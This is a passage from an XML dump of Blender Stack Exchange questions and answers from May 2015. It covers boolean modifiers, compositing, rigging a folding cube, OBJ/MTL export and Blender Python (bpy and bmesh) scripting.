ob.data.polygons:&#xA;+    p.use_smooth = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A great majority of the functions in bpy.ops can be accomplished in other, less state-y ways, but it requires a certain level of dedication to acquire the experience necessary to accomplish some of the more advanced operations.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-28T15:31:11.843" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31610" PostTypeId="1" CreationDate="2015-05-28T15:35:16.780" Score="2" ViewCount="2191" Body="&lt;p&gt;I need a way to erase accurately a part of a mesh, using another mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/86Po1.png&quot; alt=&quot;Two intersecting meshes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the big mesh to have a gap where the smaller mesh is.&#xA;I don't need the smaller mesh, so it doesn't matter if it gets destroyed in the process/&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="241" LastEditDate="2015-05-28T15:43:03.333" LastActivityDate="2015-05-28T15:43:03.333" Title="How can I erase part of a mesh using another mesh?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31612" PostTypeId="2" ParentId="31610" CreationDate="2015-05-28T15:39:35.247" Score="5" Body="&lt;p&gt;This can be accomplished with a boolean modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add it on the large mesh and set the type to difference, then set the smaller mesh as it's target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KLIvc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once you apply the modifier, you will have a hole in the large mesh, you may delete the small mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dyooy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-05-28T15:39:35.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31613" PostTypeId="2" ParentId="31599" CreationDate="2015-05-28T15:48:56.050" Score="5" Body="&lt;p&gt;That kind of effect is easier to do in the compositor using a &lt;strong&gt;Glare&lt;/strong&gt; node. Is not as computationally intensive as dealing with volumetrics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x0xb0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mtfDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you absolutely want to do it with volumetrics you can try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around a sphere that works as the emitter, place an object that will give you the shape of the rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xoNDM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it an opaque material and make it invisible to the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qh5VE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NoO2S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add scattering and absorption to your world's &lt;strong&gt;volume&lt;/strong&gt; settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rjVrZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zGvwn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that when dealing with volume scattering and volume absorption your lights might need to be much, much brighter, and you'll be dealing with increased noise and possibly more fireflies. So you'll need a lot more samples and maybe and play with the settings for clamp indirect.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-28T17:49:15.063" LastActivityDate="2015-05-28T17:49:15.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31614" PostTypeId="1" CreationDate="2015-05-28T16:07:51.603" Score="0" ViewCount="86" Body="&lt;p&gt;I am using Linux Ubuntu 15.04, Blender 2.74, I have NVIDIA GeForce GT 610 which supports CUDA and 346.59 driver (latest driver available in my OS). When I open user preferences, CUDA is still not available. Why and how to fix that?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorDisplayName="user1853" LastEditDate="2015-05-28T18:03:41.590" LastActivityDate="2015-05-28T18:03:41.590" Title="Linux Ubuntu CUDA rendering not available" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-05-28T18:48:26.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="31615" PostTypeId="2" ParentId="31607" CreationDate="2015-05-28T17:11:42.240" Score="3" Body="&lt;p&gt;You want to enable the 'Use Alpha' toggle in your output compositing nodes' properties (shown in their 'Properties' panel (&lt;kbd&gt;N&lt;/kbd&gt; key) when they are selected).&lt;/p&gt;&#xA;" OwnerUserId="2607" LastEditorUserId="3710" LastEditDate="2015-05-28T18:12:05.150" LastActivityDate="2015-05-28T18:12:05.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31616" PostTypeId="2" ParentId="28398" CreationDate="2015-05-28T18:27:44.713" Score="6" Body="&lt;p&gt;It's possible to export the ID color map straight from &lt;strong&gt;UV/Image editor&lt;/strong&gt; without baking it by using &lt;a href=&quot;http://www.polycount.com/forum/showthread.php?t=140883&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;this addon&lt;/strong&gt;&lt;/a&gt;. It's fast and writes the UV layout into a png file, filling the polys with the color assigned in the &lt;strong&gt;viewport color slot&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the viewport colors for all materials:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IKFsA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;UV/Image Editor &gt; UVs &gt; Export Colour Layout&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lGINu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Result:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AngS3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.polycount.com/forum/showthread.php?t=140883&quot; rel=&quot;noreferrer&quot;&gt;Original thread (www.polycount.com)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender Export Colour Layout Addon - &#xA;  This is an addon for Blender that enables the exporting to png the unmodified diffuse colors of applied materials using the meshes uv map as a layout. In essence it generates a colour ID map for use in applications such as Quixel Suite DDO. As it does not use baking it is easier and quicker to generate colour ID map, it also (appears) to work the same regardless of whether you are using Blender Renderer or Blender Cycles. It is heavily based on the original UV Layout addon and is still a work in progress, but it exports the colour map just fine. In the future I'd love to work out a method of assigning DDO colour link id's to Blender materials and export those, instead of having to set the materials diffuse colour. The download has a brief read me with more details in it. If you have any problems with the addon feel free to post them in this thread and I'll see if there is anything I can do to help. I'm unsure if not going the baked approached means that something important is missing. As far as I can tell uv islands are not anti-aliased, but materials that share the same edges are and that appears to work fine within DDO.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14674" LastEditorUserId="14674" LastEditDate="2015-05-31T10:22:18.250" LastActivityDate="2015-05-31T10:22:18.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31617" PostTypeId="2" ParentId="26098" CreationDate="2015-05-28T18:32:39.943" Score="1" Body="&lt;p&gt;Well the easy way would be to use a try-except catch&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would skip the meshes where errors happen&#xA;print their names and reselect them after deleting the rest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;wm = bpy.context.window_manager&#xA;act_obj = bpy.context.active_object&#xA;union_list = []&#xA;passed = []&#xA;for sel_obj in bpy.context.selected_objects:&#xA;    if sel_obj.type == 'MESH':&#xA;        if sel_obj != act_obj:&#xA;            try:&#xA;                bpy.ops.object.modifier_add(type=&quot;BOOLEAN&quot;)&#xA;                union_list.append(sel_obj)&#xA;            except:&#xA;                print(&quot;\n&quot;+sel_obj.name)&#xA;                passed.append(sel_obj)&#xA;                sel_obj.select = False&#xA;&#xA;k=0&#xA;union_list_len = len(union_list)&#xA;wm.progress_begin(0, union_list_len)&#xA;&#xA;for mod in act_obj.modifiers:&#xA;    if mod.type == &quot;BOOLEAN&quot;:&#xA;        print(k,union_list_len,union_list[k].name)&#xA;        wm.progress_update(k)&#xA;        mod.operation = &quot;UNION&quot;&#xA;        mod.object = union_list[k]&#xA;        try:&#xA;            bpy.ops.object.modifier_apply(modifier=mod.name)&#xA;        except:&#xA;            print(&quot;\n&quot;+sel_obj.name)&#xA;            passed.append(sel_obj)&#xA;            sel_obj.select = False&#xA;        k=k+1&#xA;act_obj.select = False&#xA;bpy.ops.object.delete()&#xA;wm.progress_end()&#xA;for obj in passed: obj.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope it helps, Teck-Freak&lt;/p&gt;&#xA;" OwnerUserId="5766" LastEditorUserId="5766" LastEditDate="2015-05-28T18:48:24.333" LastActivityDate="2015-05-28T18:48:24.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31618" PostTypeId="2" ParentId="31089" CreationDate="2015-05-28T18:42:45.803" Score="4" Body="&lt;p&gt;There are multiple things happening in the algorithms presented in the link you shared, but the most important thing that's happening is not possible in Blender's compositor.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Converting an image into a fixed of points&lt;/li&gt;&#xA;&lt;li&gt;transfering that set of points as a parameter into a hypothetical &quot;voronoi&quot; node. There is no such data type&lt;/li&gt;&#xA;&lt;li&gt;using a vornoi algorithm to fill in polygons with sampled colors from a set of points&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, in theory you could reduce that set of instructions into just one step&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a python compositor node&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but to do that is no small chore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of clues in the codegolf post on how to process the image, how to find edges, how to make that bitmap into a set of points, how to process the points into polygons, and how to fill them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to offer up the code for a python compositor node that just does all that for you, but it would just take a terrible amount of time. An onerous amount of time. Enough time that the short answer to your question is &quot;no.&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On the other hand! If you're also interested in exploring the general effect and breaking out of the compositor-node-constraint, there are other things you could explore. (in your comments, it seems you're only interested in voronoi specifically, but i'll try anyway)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image that was made with a &quot;lens&quot; made from a box, one side heavily subdivided, displaced with a cloud texture, and then decimated. The lens is using a glass texture with 0.02 roughness to generalize the colors coming through each face. If the displace filter was made to transpose over time, the facets would change and shimmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's not exactly what you asked for, in my opinion, it falls into the non-photo-realistic category. I think you could go quite far with it -- especially with render layers feeding into the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tjp31.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2015-05-28T18:42:45.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31619" PostTypeId="2" ParentId="31605" CreationDate="2015-05-28T19:16:33.283" Score="1" Body="&lt;p&gt;That sounds like the update-hook/redraw-hook got lost.&#xA;Did you try toggeling edit and objectmode?&#xA;If that aint working, I'll try writing a patch.&lt;/p&gt;&#xA;" OwnerUserId="5766" LastActivityDate="2015-05-28T19:16:33.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31620" PostTypeId="1" CreationDate="2015-05-28T19:32:36.143" Score="2" ViewCount="100" Body="&lt;p&gt;I used a mesh to cut out a part of my sculpture, but the wound left behind on the topology is ridiculous, I cant use any tools on the wound, or it gets a super rough crazy triangle texture :s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wound shown&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i3w7c.png&quot; alt=&quot;Wound on topology shown&quot;&gt;&#xA;Topological mess after inflation&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9mMfc.png&quot; alt=&quot;Topological mess after inflation&quot;&gt;&#xA;Close up of topological disaster&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yA5JG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2015-05-28T19:32:36.143" Title="Need help with my topology when sculpting and using boolean mod" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;sculpting&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31621" PostTypeId="1" AcceptedAnswerId="31625" CreationDate="2015-05-28T19:35:32.393" Score="7" ViewCount="1365" Body="&lt;p&gt;I'm trying to fold a cube with an animation. I've tried inverse kinetics with no luck. Here are some images that explain what I'm trying to do. I'm trying to make this so that &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when the upper bone is pushed down, the box is folded to the ground.&lt;/li&gt;&#xA;&lt;li&gt;when the upper bone is pulled up, it unfolds the box. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xwsT5.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BcgEw.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Zcbpt.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZVcAu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7615" LastEditorUserId="2217" LastEditDate="2015-06-07T17:49:06.680" LastActivityDate="2015-06-07T17:49:06.680" Title="Folding a cube (animation)" Tags="&lt;animation&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31623" PostTypeId="1" CreationDate="2015-05-28T19:44:27.457" Score="3" ViewCount="765" Body="&lt;p&gt;So far I've made a few models in blender. When I exported my textured model &lt;strong&gt;before&lt;/strong&gt;, the mtl file always looked like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newmtl None&#xA;Ns 0&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.8 0.8 0.8&#xA;Ks 0.8 0.8 0.8&#xA;d 1&#xA;illum 2&#xA;map_Kd F:\images\leather.bmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I export a mtl file &lt;strong&gt;now&lt;/strong&gt; it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;newmtl Material&#xA;Ns 96.078431&#xA;Ka 0.000000 0.000000 0.000000&#xA;Kd 0.640000 0.640000 0.640000&#xA;Ks 0.500000 0.500000 0.500000&#xA;Ni 1.000000&#xA;d 1.000000&#xA;illum 2&#xA;map_Kd F:\images\dice0.bmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;Ni&lt;/code&gt; parameter appears in my second example. Because I've written a custom obj file loader in C++, I only need 7 parameters and not 8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to solve this easily?&lt;/p&gt;&#xA;" OwnerUserId="14678" LastEditorUserId="3710" LastEditDate="2015-05-28T22:08:46.110" LastActivityDate="2015-05-29T10:15:23.820" Title="Export custom mtl file" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31624" PostTypeId="2" ParentId="26393" CreationDate="2015-05-28T19:57:32.173" Score="2" Body="&lt;p&gt;put this script in a python_controller linked to a property_changed-sensor and your motion-sensor. name the property_changed-sensor &quot;set_X&quot;+sth to set x&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;cont = bge.logic.getCurrentController()&#xA;sens = cont.sensors[0]&#xA;act  = cont.actuators[0]&#xA;own  = cont.owner&#xA;if sens.name.startswith('set_X'): act.linV.x = float(own[sens.propName])&#xA;if sens.name.startswith('set_Y'): act.linV.y = float(own[sens.propName])&#xA;if sens.name.startswith('set_Z'): act.linV.Z = float(own[sens.propName])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;be aware that this will not activate the motion. it will just set its parameters.&lt;/p&gt;&#xA;" OwnerUserId="5766" LastActivityDate="2015-05-28T19:57:32.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31625" PostTypeId="2" ParentId="31621" CreationDate="2015-05-28T19:58:20.080" Score="10" Body="&lt;p&gt;one possible way is to use :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use the Transformation constraint to convert translation to rotation from control bone to lower bones&lt;/li&gt;&#xA;&lt;li&gt;use the copy rotation constraint to make the upper bone rotate in reverse to the lower bone &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LdUWk.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;strong&gt;&lt;em&gt;Transformation&lt;/em&gt;&lt;/strong&gt; constraint to the lower bone with this settings :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IJV6l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;strong&gt;&lt;em&gt;Copy rotation&lt;/em&gt;&lt;/strong&gt; constraint on the upper bone :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eATfl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;there's only one plane ( with middle edge) and have an array modifier controlled by an empty ( see the .blend file )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/246/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=246&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-05-28T22:55:13.650" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31626" PostTypeId="2" ParentId="31621" CreationDate="2015-05-28T20:22:01.047" Score="2" Body="&lt;p&gt;The way Chebhou showed is rather simple:&#xA;for each of the 8 bones conected to the box, ad a transform-constraint(constraint-tab in the properties-panel)&#xA;use location of the middlebone as input and the rotation on x or y as output&lt;/p&gt;&#xA;&lt;p&gt;or try this:&#xA;parent 4 bones to the top one, each placed at the top of a wall.&#xA;for each wall: place the mid a bit outside of the box and add an ik-constraint to the upper bone;&#xA;with chainlength=2 and tail=True, the targetbone being the bone placed on top of each wall.&lt;/p&gt;&#xA;&lt;p&gt;the green one on the top is what you move, the big ones are to deform the walls, the small gray ones are the targets. they are children of the green one on the top. the green one has a limit-location-constraint(seen on the right), the yellow ones each have an ik-konstraint to the little gray ones, with a chainlength of 2&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k5RBp.jpg&quot; alt=&quot;IK-rig&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5766" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-31T19:23:54.460" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31627" PostTypeId="2" ParentId="31623" CreationDate="2015-05-28T20:30:34.480" Score="3" Body="&lt;p&gt;Ni (optical_density)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code lives in &lt;code&gt;scripts/addons/io_scene_obj/export.obj&lt;/code&gt; (line 92+ ). You could comment out these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if hasattr(mat, &quot;raytrace_transparency&quot;) and hasattr(mat.raytrace_transparency, &quot;ior&quot;):&#xA;    fw('Ni %.6f\n' % mat.raytrace_transparency.ior)  # Refraction index&#xA;else:&#xA;    fw('Ni %.6f\n' % 1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;.obj&lt;/em&gt; exporter will automatically add the Ni as soon as you assign any material to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be worth updating your C++ obj file loader, at least to ignore the Ni command if material is set, because it is a valid part of the .mtl specs&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-29T10:15:23.820" LastActivityDate="2015-05-29T10:15:23.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31628" PostTypeId="2" ParentId="30999" CreationDate="2015-05-28T20:59:56.623" Score="1" Body="&lt;p&gt;You might need to play with the translation movement dampening. A higher value will make you stop and start more suddenly and a lower value will make the object take longer to change its velocity. For example, lets take a standard sized cube with default friction on  a plane with default friction. The cube is dynamic and the mass is 1. I prefer more precise movement so I set the movement Dampening between 0.990 to 0.999. I set the dynamic motion to around 20 and it gets around really nicely. Because it has dynamic physics it should slowly float down when in the air.&lt;/p&gt;&#xA;" OwnerUserId="14679" LastActivityDate="2015-05-28T20:59:56.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31629" PostTypeId="1" CreationDate="2015-05-28T21:03:09.530" Score="3" ViewCount="407" Body="&lt;p&gt;Sometimes I see great materials, but they are not spheres, so I can't use it directly as a matcap. However, in some instances, the shape is simply enough (cylinder) that I could probably recreate the mesh and project the image onto it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the textured mesh, is there a way to generate a matcap?&lt;/p&gt;&#xA;" OwnerUserId="5686" LastActivityDate="2015-07-29T00:16:00.447" Title="Create a Matcap from Textured Model" Tags="&lt;texturing&gt;&lt;matcaps&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31630" PostTypeId="1" AcceptedAnswerId="31631" CreationDate="2015-05-28T21:38:31.013" Score="2" ViewCount="928" Body="&lt;p&gt;When i try to create verts with BMesh i get always the same verts index.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.from_edit_mesh(active_obj.data)&#xA;for i in range(20):&#xA;    vert = bm.verts.new((0.0, 0.0, 0.0))&#xA;    print(vert.index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;index of all 20 verts will be -1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get right index or correct it manually?&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2015-05-28T21:51:07.323" Title="Python BMesh: index of new verts?" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31631" PostTypeId="2" ParentId="31630" CreationDate="2015-05-28T21:51:07.323" Score="5" Body="&lt;p&gt;you'll have to reassign the vertices indexes using an built in function or using your own code as &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bmesh.types.html#bmesh.types.BMVertSeq.index_update&quot; rel=&quot;noreferrer&quot;&gt;mentioned in the DOCs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;index_update()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Initialize the index values of this sequence.&#xA;This is the equivalent of looping over all elements and assigning the index values.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so your code should be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.from_edit_mesh(active_obj.data)&#xA;for i in range(20):&#xA;    vert = bm.verts.new((0.0, 0.0, 0.0))&#xA;    vert.index = len(bm.verts)&#xA;    print(vert.index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.verts.index_update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-28T21:51:07.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31632" PostTypeId="1" AcceptedAnswerId="31634" CreationDate="2015-05-28T22:09:53.520" Score="3" ViewCount="1794" Body="&lt;p&gt;In the options from pivot point, is the option 'Bounding Box center' the same as the option 'median point'?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="55" LastEditDate="2015-05-29T07:47:09.967" LastActivityDate="2015-05-29T07:47:09.967" Title="Difference between 'Bounding Box center' and 'median point' pivot?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31634" PostTypeId="2" ParentId="31632" CreationDate="2015-05-28T22:21:44.877" Score="5" Body="&lt;p&gt;for the second question :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the bounding box center is not the same as median center :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;strong&gt;The Median center&lt;/strong&gt; is calculated as the average of all selected points ( vertices or object centers ) so it depends on the density distribution of the mesh &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;strong&gt;The bounding box :&lt;/strong&gt; is the smallest box (Cube ) that can contain the mesh of an object while aligned to the local space &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;strong&gt;The bounding Box center&lt;/strong&gt; will always be at the center of this bounding box regardless of the density distribution of the mesh inside &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-28T22:21:44.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31636" PostTypeId="1" CreationDate="2015-05-29T01:39:57.860" Score="3" ViewCount="1592" Body="&lt;p&gt;I'm doing a really basic outline of a park scene, and i'm trying to add a circular plane so I can begin to model my amphitheater. For some reason, when I hit 'Space' and add the circle, nothing shows up. Same for appending an object. I have also tried centering it with Shift+W.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/vv56l2ono53f28z/Park_Project.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/vv56l2ono53f28z/Park_Project.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to the .blend file. I need as much help as possible; I have a project including this I need to turn in tomorrow. Thanks for any help or insight.&lt;/p&gt;&#xA;" OwnerUserId="14419" LastEditorDisplayName="user1853" LastEditDate="2015-05-29T04:10:40.173" LastActivityDate="2015-05-29T04:10:40.173" Title="Can't add objects to scene" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31637" PostTypeId="2" ParentId="31573" CreationDate="2015-05-29T01:40:43.030" Score="1" Body="&lt;p&gt;You can also click the &lt;strong&gt;Add&lt;/strong&gt; menu in 3D View, then click &lt;strong&gt;Mesh&lt;/strong&gt;, then click &lt;strong&gt;Cone&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you create the object the options to change the default appearance. However after you edit another object, you can't get back to those first settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing the mesh to change the radii would be one option.&lt;/p&gt;&#xA;" OwnerUserId="14682" LastEditorUserId="14682" LastEditDate="2015-06-04T16:49:39.037" LastActivityDate="2015-06-04T16:49:39.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
